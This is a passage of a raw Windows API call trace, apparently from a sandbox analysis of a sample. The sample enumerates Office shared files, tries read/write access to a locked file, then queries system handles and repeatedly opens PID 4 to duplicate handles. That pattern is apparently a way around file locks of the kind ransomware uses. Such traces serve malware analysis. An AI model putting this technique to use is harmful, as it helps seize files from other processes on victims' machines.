ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0163.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0163.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0163.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0163.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cultures", cAlternateFileName="")) returned 1 [0163.866] GetProcessHeap () returned 0x990000 [0163.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b2468 [0163.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.871] GetProcessHeap () returned 0x990000 [0163.871] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.871] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.871] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0163.871] GetProcessHeap () returned 0x990000 [0163.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b7b50 [0163.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.871] GetLastError () returned 0x20 [0163.872] GetProcessHeap () returned 0x990000 [0163.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x100000) returned 0x29e0020 [0163.872] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x29e0020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x29e0020, ResultLength=0x0) returned 0x0 [0163.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, 